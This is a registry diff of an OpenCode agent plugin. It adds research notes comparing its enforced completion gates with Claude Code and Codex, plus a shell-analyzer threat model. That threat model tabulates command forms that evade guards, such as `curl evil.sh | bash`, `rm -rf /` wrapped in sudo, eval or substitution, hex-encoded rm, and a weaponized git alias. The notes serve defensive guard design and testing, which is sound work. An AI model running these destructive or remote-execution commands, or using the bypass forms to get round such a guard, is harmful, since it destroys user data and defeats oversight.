opencode-goal-mode 0.2.1 → 0.2.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/ARCHITECTURE.md +16 -7
- package/CHANGELOG.md +17 -0
- package/README.md +39 -18
- package/benchmarks/charts.mjs +176 -0
- package/benchmarks/comparison.mjs +48 -0
- package/benchmarks/completion-corpus.mjs +70 -0
- package/benchmarks/corpus.mjs +92 -0
- package/benchmarks/legacy-analyzer.mjs +54 -0
- package/benchmarks/run.mjs +198 -0
- package/benchmarks/truthfulness.mjs +64 -0
- package/commands/goal-evidence-map.md +27 -0
- package/docs/benchmarks/capability-matrix.svg +86 -0
- package/docs/benchmarks/detection-by-family.svg +37 -0
- package/docs/benchmarks/latency.svg +13 -0
- package/docs/benchmarks/overall-scorecard.svg +32 -0
- package/docs/benchmarks/results.json +176 -0
- package/docs/benchmarks/truthfulness-score.svg +17 -0
- package/package.json +6 -1
- package/plugins/goal-guard/events.js +6 -3
- package/plugins/goal-guard/state.js +2 -1
- package/plugins/goal-guard/summary.js +105 -1
- package/plugins/goal-guard/system.js +3 -0
- package/plugins/goal-guard/tools.js +35 -1
- package/plugins/goal-guard/verdicts.js +38 -1
- package/plugins/goal-guard.js +7 -5
- package/research/README.md +18 -0
- package/research/benchmarks.md +84 -0
- package/research/goal-mode-comparison.md +100 -0
- package/research/opencode-plugin-platform.md +89 -0
- package/research/shell-hardening.md +62 -0
|
@@ -0,0 +1,100 @@
|
|
|
1
|
+
# Goal Mode vs. Claude Code vs. Codex
|
|
2
|
+
|
|
3
|
+
How OpenCode Goal Mode's **mechanically-enforced** goal discipline compares to
|
|
4
|
+
Anthropic's Claude Code and OpenAI's Codex. Sourced from Claude Code docs
|
|
5
|
+
(`https://docs.anthropic.com/en/docs/claude-code/hooks` and `/security`) and
|
|
6
|
+
OpenAI Codex docs (`https://developers.openai.com/codex/cli` and `/cloud`),
|
|
7
|
+
cross-checked against this plugin's source. The emphasis throughout is
|
|
8
|
+
*mechanical enforcement* — what the harness guarantees — versus *prompt-driven*
|
|
9
|
+
behavior the model is asked to do.
|
|
10
|
+
|
|
11
|
+
## The distinction that matters
|
|
12
|
+
|
|
13
|
+
All three tools run a **model-driven** agentic loop. Public docs reviewed do not
|
|
14
|
+
describe a default mechanical proof that forces the model to keep working until
|
|
15
|
+
all project-specific acceptance criteria are externally verified. Goal Mode's
|
|
16
|
+
loop is prompt-only too.
|
|
17
|
+
|
|
18
|
+
What separates the three is what happens at the **completion boundary** and the
|
|
19
|
+
**tool boundary**:
|
|
20
|
+
|
|
21
|
+
- **Claude Code** has the richest first-party *mechanical* surface
|
|
22
|
+
(PreToolUse/Stop/PostToolUse hooks, permission deny rules, sandboxing) — but
|
|
23
|
+
review and completion enforcement are **opt-in**, requiring user-authored
|
|
24
|
+
hooks. Out of the box, review is prompt-driven and the model stops when it
|
|
25
|
+
judges the work done.
|
|
26
|
+
- **Codex** has approval modes, local code review, and cloud environments that
|
|
27
|
+
isolate work from the user's machine — genuinely strong mode-level boundaries
|
|
28
|
+
Goal Mode does not claim — but public docs do not describe a harness-level
|
|
29
|
+
`Goal Completed` blocker or stale-review invalidation invariant.
|
|
30
|
+
- **Goal Mode** ships a coherent **completion contract** and **command guard**
|
|
31
|
+
enforced at the harness layer by default, for the goal-completion use case.
|
|
32
|
+
|
|
33
|
+
## Capability matrix
|
|
34
|
+
|
|
35
|
+
See `docs/benchmarks/capability-matrix.svg` for the visual. Levels: **Enforced**
|
|
36
|
+
(guaranteed by the harness), **Partial** (possible but opt-in / mode-level),
|
|
37
|
+
**Prompt-only** (the model's judgment), **None**.
|
|
38
|
+
|
|
39
|
+
| Capability | Goal Mode | Claude Code | Codex |
|
|
40
|
+
| --- | --- | --- | --- |
|
|
41
|
+
| Autonomous goal loop | Prompt-only | Partial | Partial |
|
|
42
|
+
| Review gate before "done" | **Enforced** | Partial (Stop hook) | Prompt-only |
|
|
43
|
+
| Contextual specialist reviews | **Enforced** | Prompt-only | Prompt-only |
|
|
44
|
+
| Stale-review invalidation on edit | **Enforced** | None | None |
|
|
45
|
+
| Completion-claim enforcement | **Enforced** | Partial (Stop hook) | None |
|
|
46
|
+
| Destructive-command blocking | **Enforced** (tokenizer) | Partial ("fragile") | Partial (sandbox) |
|
|
47
|
+
| Remote-exec (`curl \| sh`) blocking | **Enforced** | Partial | Partial (sandbox) |
|
|
48
|
+
| Enforcement state survives restart | **Enforced** | Partial (transcript) | Partial (transcript) |
|
|
49
|
+
| State survives compaction | **Enforced** | Partial | Partial |
|
|
50
|
+
| Custom enforcement hooks/tools | **Enforced** | **Enforced** | Partial |
|
|
51
|
+
|
|
52
|
+
## Where Goal Mode is uniquely strong
|
|
53
|
+
|
|
54
|
+
1. **Mechanical completion contract.** Goal Mode intercepts the finished
|
|
55
|
+
assistant message (`experimental.text.complete`) and rewrites a premature
|
|
56
|
+
`Goal Completed` to `Goal Not Completed` unless the message *starts with* the
|
|
57
|
+
marker, carries a `Review cycles: N` line with `N > 0`, `N` exactly equals the
|
|
58
|
+
recorded counter, and **zero** required gates are missing or stale. Because the
|
|
59
|
+
rewrite is driven by **recorded state**, the model cannot talk its way to
|
|
60
|
+
"done" in prose. Prompt-based goal-following judges completion from what the
|
|
61
|
+
model already printed.
|
|
62
|
+
|
|
63
|
+
2. **Stale-on-edit gate invalidation via a monotonic integer counter.** A
|
|
64
|
+
reviewer gate counts only when its latest `PASS` has a `seq` strictly greater
|
|
65
|
+
than `lastEditSeq`. Any edit — file write, mutating bash command, or a
|
|
66
|
+
subagent `file.edited` event — bumps the counter, so a `PASS` can never be
|
|
67
|
+
credited against an edit it did not actually follow. Integer ordering means
|
|
68
|
+
two same-millisecond events can't tie. The public Claude Code and Codex docs
|
|
69
|
+
reviewed do not describe an equivalent "an edit invalidates prior approvals"
|
|
70
|
+
invariant.
|
|
71
|
+
|
|
72
|
+
3. **Contextual specialist reviews are required, not suggested.** A whole-word
|
|
73
|
+
keyword scan of the goal text + Goal Contract + changed-file names selects
|
|
74
|
+
specialists (auth/token → security, api/schema → api, migration/sql → data,
|
|
75
|
+
perf/latency → performance) and makes them a precondition for completion,
|
|
76
|
+
sticky so a later context truncation cannot silently drop a required gate.
|
|
77
|
+
|
|
78
|
+
4. **Destructive-command blocking by a real shell tokenizer.** The guard unwraps
|
|
79
|
+
`sudo`/`env`/`timeout`/`xargs`, recurses into `$(…)`/backticks and
|
|
80
|
+
`bash -c`/`eval`, resolves `/bin/rm` to its basename, parses `git -C` and
|
|
81
|
+
weaponized `git -c alias='!rm -rf /'`, and inspects interpreter sinks. Claude
|
|
82
|
+
Code's own docs warn that Bash argument-matching can be **"fragile"** for
|
|
83
|
+
hard enforcement and recommend permissions for hard allow/deny policy; these
|
|
84
|
+
classes are not unwrapped unless a user-authored PreToolUse hook does it.
|
|
85
|
+
|
|
86
|
+
## Honest caveats
|
|
87
|
+
|
|
88
|
+
- **The autonomous loop is prompt-only**, like Claude's and Codex's. What is
|
|
89
|
+
mechanical is the *completion gate* and the *command guard*, not the model's
|
|
90
|
+
decision to keep working.
|
|
91
|
+
- **Codex's isolated execution model is a stronger boundary** than a tool-layer
|
|
92
|
+
classifier where it applies. Goal Mode's guard falls back to "not blocked" on a
|
|
93
|
+
parse failure (deferring to the host's permission rules); it is
|
|
94
|
+
defense-in-depth, not a jail.
|
|
95
|
+
- **Claude Code can do equivalent enforcement** when a user wires Stop/PreToolUse
|
|
96
|
+
hooks themselves. Goal Mode's advantage is that a coherent set ships working
|
|
97
|
+
out of the box for this use case.
|
|
98
|
+
- Gate freshness is only as trustworthy as the reviewer subagents' verdicts. The
|
|
99
|
+
guard records *that* a fresh `PASS` exists with the right sequence; it cannot
|
|
100
|
+
verify the reviewer reasoned correctly.
|
|
@@ -0,0 +1,89 @@
|
|
|
1
|
+
# OpenCode plugin platform — verified reference
|
|
2
|
+
|
|
3
|
+
Facts verified against `@opencode-ai/plugin@1.15.13` (the installed type
|
|
4
|
+
definitions) and the `sst/opencode` source at tag `v1.15.13`. This is the
|
|
5
|
+
pinned runtime reference the `goal-guard` plugin is engineered against; the npm
|
|
6
|
+
latest was `1.16.2` when this document was refreshed, so claims below are
|
|
7
|
+
version-scoped unless explicitly called out as current-docs behavior.
|
|
8
|
+
|
|
9
|
+
Primary sources: OpenCode schema (`https://opencode.ai/config.json`), OpenCode
|
|
10
|
+
config/agents/plugins docs (`https://opencode.ai/docs/config/`,
|
|
11
|
+
`https://opencode.ai/docs/agents/`, `https://opencode.ai/docs/plugins/`),
|
|
12
|
+
plugin source at `https://raw.githubusercontent.com/sst/opencode/v1.15.13/`,
|
|
13
|
+
and npm metadata for `@opencode-ai/plugin`.
|
|
14
|
+
|
|
15
|
+
## Plugin discovery
|
|
16
|
+
|
|
17
|
+
- Auto-discovery glob is `{plugin,plugins}/*.{ts,js}` — **single level only**
|
|
18
|
+
(`config/plugin.ts`). Files directly under `plugins/` become plugins; files
|
|
19
|
+
in **subdirectories** (e.g. `plugins/goal-guard/state.js`) are **not**
|
|
20
|
+
auto-loaded. This is what lets Goal Mode ship a multi-file plugin: the entry
|
|
21
|
+
`plugins/goal-guard.js` imports its modules from `plugins/goal-guard/`
|
|
22
|
+
relatively, and those modules are never treated as standalone plugins.
|
|
23
|
+
- Scanned directories include `~/.config/opencode`, every `.opencode` from the
|
|
24
|
+
session directory up to the worktree, `~/.opencode`, and `$OPENCODE_CONFIG_DIR`.
|
|
25
|
+
- TypeScript plugins load natively (Bun); no build step is required.
|
|
26
|
+
- The config `plugin` array also accepts npm package names and `["spec", options]`
|
|
27
|
+
tuples; the second tuple element arrives as the plugin factory's second arg.
|
|
28
|
+
Auto-discovered plugins receive `options === undefined`.
|
|
29
|
+
- Current OpenCode docs prefer plural config directories such as
|
|
30
|
+
`.opencode/plugins/`; singular directories are backward-compatible.
|
|
31
|
+
|
|
32
|
+
## Hooks (the ones Goal Mode uses)
|
|
33
|
+
|
|
34
|
+
| Hook | Input → Output | Notes |
|
|
35
|
+
| --- | --- | --- |
|
|
36
|
+
| `chat.message` | `{sessionID, agent?}` → `{message, parts}` | Captures the user's goal text. |
|
|
37
|
+
| `chat.params` | `{sessionID, agent, model, …}` → params | Tracks the current agent. |
|
|
38
|
+
| `experimental.chat.system.transform` | `{sessionID?, model}` → `{system: string[]}` | Inject system-prompt strings. |
|
|
39
|
+
| `tool.execute.before` | `{tool, sessionID, callID}` → `{args}` | **Throwing blocks the tool** and the thrown message becomes the tool's error result shown to the model. `args` are on the **output**, not the input. Mutate `output.args` in place. |
|
|
40
|
+
| `tool.execute.after` | `{tool, sessionID, callID, args}` → `{title, output, metadata}` | The `task` tool's output wraps the subagent text in `<task><task_result>…</task_result></task>`. |
|
|
41
|
+
| `experimental.text.complete` | `{sessionID, messageID, partID}` → `{text}` | The returned `text` **is persisted** to the transcript. No `agent` field — gate on tracked `active` state. |
|
|
42
|
+
| `experimental.session.compacting` | `{sessionID}` → `{context: string[], prompt?}` | Append preservation context. |
|
|
43
|
+
| `event` | `{event}` | Directory-scoped; `file.edited`, `session.idle`, etc. `file.edited` carries `{file}` and **no** sessionID. |
|
|
44
|
+
| `tool` | `{ [id]: ToolDefinition }` | Custom tools; the object key is the tool name verbatim. `tool.schema` is zod. |
|
|
45
|
+
|
|
46
|
+
## Critical version-specific facts
|
|
47
|
+
|
|
48
|
+
- **`permission.ask` is dormant in 1.15.13.** The hook is declared in the type
|
|
49
|
+
but has **zero trigger sites** in the runtime. A guard must enforce via
|
|
50
|
+
`tool.execute.before` throws, not this hook.
|
|
51
|
+
- **Subagent `task` runs in a NEW child session.** The `task` tool's
|
|
52
|
+
before/after fire in the **parent** session with the subagent's final text;
|
|
53
|
+
the subagent's own internal tool calls fire under the **child** sessionID.
|
|
54
|
+
This is why Goal Mode records review verdicts via the task path (parent) and
|
|
55
|
+
treats agent-path verdicts as same-session only.
|
|
56
|
+
- **Agent frontmatter** (`{agent,agents}/**/*.md`, recursive): `model`,
|
|
57
|
+
`variant`, `temperature`, `top_p`, `prompt`, `description`, `mode`
|
|
58
|
+
(`primary|subagent|all`), `hidden`, `disable`, `color` (hex or theme literal),
|
|
59
|
+
`steps`, `options`, `permission`. **Unknown keys are silently folded into
|
|
60
|
+
`options`** — so a typo'd key disappears rather than erroring.
|
|
61
|
+
`ext_mcp_server_trust` is **not a real key**.
|
|
62
|
+
- **Command frontmatter** (`{command,commands}/**/*.md`): `template`,
|
|
63
|
+
`description`, `agent`, `model`, `variant`, `subtask`. Unlike agents, a
|
|
64
|
+
**command with an unknown key throws** a parse error.
|
|
65
|
+
- **Current built-in agents include `build`, `plan`, `general`, `explore`, and
|
|
66
|
+
`scout`.** Goal Mode allows delegation to the stock `explore`, `general`, and
|
|
67
|
+
`scout` subagents from its primary agent.
|
|
68
|
+
- **Permissions** are last-matching-rule-wins; `deny` from any scope beats
|
|
69
|
+
`allow`. Per-tool pattern maps are supported for `bash`, `task`,
|
|
70
|
+
`external_directory`, etc.
|
|
71
|
+
|
|
72
|
+
## State persistence
|
|
73
|
+
|
|
74
|
+
There is **no** plugin key/value store. Plugins persist their own JSON; the XDG
|
|
75
|
+
state dir (`$XDG_STATE_HOME/opencode/…`, default `~/.local/state`) is the
|
|
76
|
+
durable, disposable-cache-free location. `PluginInput.directory` is the session
|
|
77
|
+
working dir; `PluginInput.worktree` is the git worktree root (a stable
|
|
78
|
+
per-project key).
|
|
79
|
+
|
|
80
|
+
## Pitfalls
|
|
81
|
+
|
|
82
|
+
- Hooks run sequentially across plugins in load order, awaited one by one — a
|
|
83
|
+
throw in a `chat.*`/`text.complete` hook can break the turn, so keep them
|
|
84
|
+
defensive (Goal Mode wraps each in try/catch).
|
|
85
|
+
- A failed dynamic `import()` of a plugin file is cached for the process; editing
|
|
86
|
+
a plugin requires restarting OpenCode.
|
|
87
|
+
- `experimental.text.complete` runs at text-end; streaming deltas already
|
|
88
|
+
emitted the original text, so the rewrite is a final-form correction, not a
|
|
89
|
+
pre-display redaction.
|
|
@@ -0,0 +1,62 @@
|
|
|
1
|
+
# Shell-analyzer threat model
|
|
2
|
+
|
|
3
|
+
The destructive-command guard is the plugin's most security-sensitive component.
|
|
4
|
+
This document records the threat model: the bypass classes the original
|
|
5
|
+
regex-based guard missed, and how the quote-aware tokenizer
|
|
6
|
+
(`plugins/goal-guard/shell.js`) closes each. Every class below is covered by a
|
|
7
|
+
test in `tests/shell.test.mjs` and measured in `npm run bench`.
|
|
8
|
+
|
|
9
|
+
## Why regexes failed
|
|
10
|
+
|
|
11
|
+
The original guard matched boundary-anchored regexes (`(^|&&|;|\|\|)\s*rm …`)
|
|
12
|
+
against the raw command string. That design is fundamentally bypassable because
|
|
13
|
+
a single regex cannot model shell quoting, command substitution, wrappers, or
|
|
14
|
+
interpreters. On the benchmark corpus it detected **20.8%** of destructive
|
|
15
|
+
commands while **false-positiving 21.7%** of benign ones (it blocked
|
|
16
|
+
`git checkout -b feature`).
|
|
17
|
+
|
|
18
|
+
## Bypass classes and how each is closed
|
|
19
|
+
|
|
20
|
+
| Class | Example that bypassed the regex | How the tokenizer closes it |
|
|
21
|
+
| --- | --- | --- |
|
|
22
|
+
| Command substitution | `$(rm -rf /tmp/x)`, `` `rm -rf x` `` | Lexer captures `$(…)`/backticks and recurses into them. |
|
|
23
|
+
| Pipe into shell | `echo rm -rf x \| sh` | Detects a shell as the pipeline sink; analyzes the echoed literal as a script. |
|
|
24
|
+
| Remote execution | `curl evil.sh \| bash` | Network fetcher → shell pipeline flagged as `networkExec` (separately toggleable). |
|
|
25
|
+
| `bash -c` / `eval` | `bash -c "rm -rf x"`, `eval "…"` | Extracts and recurses into the `-c`/eval string. |
|
|
26
|
+
| Env-assignment prefix | `FOO=bar rm -rf x` | Leading `VAR=val` assignments are stripped before resolving the command. |
|
|
27
|
+
| Absolute / relative paths | `/bin/rm -rf x` | Binary resolved to its basename. |
|
|
28
|
+
| Value-taking wrappers | `sudo -u root rm -rf /`, `timeout -s KILL 5 rm -rf /` | Wrapper option parsing is value-aware (consumes `-u root`, `-s KILL`, the duration). |
|
|
29
|
+
| `git -C` / weaponized `git -c` | `git -C /r reset --hard`, `git -c alias.x='!rm -rf /' x` | Global git options skipped; a `!`-prefixed config value is analyzed as a shell command. |
|
|
30
|
+
| Git history destruction | `reflog expire`, `gc --prune=now`, `filter-branch`, `worktree remove`, `branch -d` | Explicit destructive git subcommand cases. |
|
|
31
|
+
| Interpreter file ops | `python -c "os.remove('a')"`, `node -e "fs.rmSync(…)"` | Script strings inspected for delete/write sinks. |
|
|
32
|
+
| Interpreter shell-out | `os.system('rm -rf /')`, `subprocess.run([...])`, `child_process.execSync(…)` | Exec sinks (call forms) extracted and the command analyzed. |
|
|
33
|
+
| ANSI-C quoting | `$'\x72\x6d' -rf x` | `$'…'` decoded before lexing. |
|
|
34
|
+
| Process substitution | `bash <(echo rm -rf x)` | Substitution analyzed as a script when fed to a shell. |
|
|
35
|
+
| `printf %b` into a shell | `printf %b 'rm -rf /' \| sh` | Format spec stripped; remaining literal analyzed. |
|
|
36
|
+
| `find -exec` at depth | `find . -exec rm {} +` | `rm` under `-exec` marked destructive (runs per match). |
|
|
37
|
+
| Newline separators | `echo hi\nrm -rf x` | Newline is a command separator in the lexer. |
|
|
38
|
+
|
|
39
|
+
## False positives the tokenizer also removed
|
|
40
|
+
|
|
41
|
+
A guard that over-blocks is a guard that gets turned off. The tokenizer clears
|
|
42
|
+
the regex guard's false positives:
|
|
43
|
+
|
|
44
|
+
- `git checkout -b feature` / `git switch -c topic` — branch creation, not a
|
|
45
|
+
discard.
|
|
46
|
+
- `echo "rm -rf /"` / `printf 'do not run rm -rf'` — quoted text is inert.
|
|
47
|
+
- `grep 'git reset' .` / `cat notes.txt # git reset explained` — comments and
|
|
48
|
+
search terms are not commands.
|
|
49
|
+
- `true #; rm -rf x` — `#` starts a comment.
|
|
50
|
+
- `python -c 'print(platform.system())'` — a bare `system` mention is not a
|
|
51
|
+
shell-out (exec sinks require a call form; the analyzer fails open when no
|
|
52
|
+
literal command can be extracted).
|
|
53
|
+
- `git config --get user.email` — read-only queries don't dirty the session.
|
|
54
|
+
|
|
55
|
+
## Design principle: fail open, defense-in-depth
|
|
56
|
+
|
|
57
|
+
The analyzer is a **tool-layer classifier**, not an OS sandbox. On a parse
|
|
58
|
+
failure or an un-analyzable dynamic command it returns "not blocked" and defers
|
|
59
|
+
to OpenCode's own permission rules. It is one layer of defense-in-depth that
|
|
60
|
+
catches the overwhelmingly common destructive forms an agent emits — not a
|
|
61
|
+
security jail. Over-blocking benign work is treated as a real cost, which is why
|
|
62
|
+
the false-positive rate is held at zero on the corpus.
|